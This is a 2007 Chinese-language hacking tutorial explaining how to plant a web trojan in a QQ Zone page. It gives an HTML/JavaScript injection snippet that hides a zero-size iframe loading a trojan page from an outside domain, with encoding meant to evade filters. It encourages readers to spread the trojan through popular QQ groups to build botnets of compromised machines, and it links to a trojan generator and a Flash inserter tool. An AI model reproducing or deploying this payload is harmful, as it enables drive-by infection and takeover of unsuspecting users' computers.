QQ木马：QQ挂马方法大揭密
日期：2007年12月12日 作者： 查看:[大字体 中字体 小字体]-
方法二:挂网页木马
上面的方法是直接在QQ空间中挂上一个Flash木马文件，实现的方法虽然比较简单，不过这个Flash文件有可能会让别人起疑心。既然我们可以在QQ空间中写入自定义代码，何不干脆直接挂上网页木马呢?
用上面同样的方法新建一个模块，代码如下:
“<div id=DI><img src="javascript:DI.innerHTML='<iframe src="http://www.binghewu.com.cn/muma.htm" width=190 height=190 marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no></iframe>'" style=display:none></div>”同样的，在上面的代码中已经作了ASCII码转换躲过过滤;“http://www.binghewu.com.cn/muma.htm”是网页木马的链接地址，可以换成其它木马网页地址。代码中的其它语句是用来定义模块大小的，由于设置为0，该模块将在QQ空间中被隐藏，但是并不影响木马网页的打开与运行。这里为了说明攻击效果，笔者对代码作了一些修改，将木马网页显示为新浪首页，说明完全可以在QQ空间中打开其它木马网页的(如图7)。
图7 在QQ空间中挂上的新浪页面
怎么样，在QQ群和QQ空间中挂马是不是很简单?掌握了这个方法，只要在比较火一点的QQ群或QQ空间中挂上你的木马，你很快就可以肉鸡成群了!
下载地址:
网页木马生成器 http://www.hackol.com/down.asp?id=4141&downid=0
SWF插入机 http://www.25hack.com/heike/soft/107/108/111/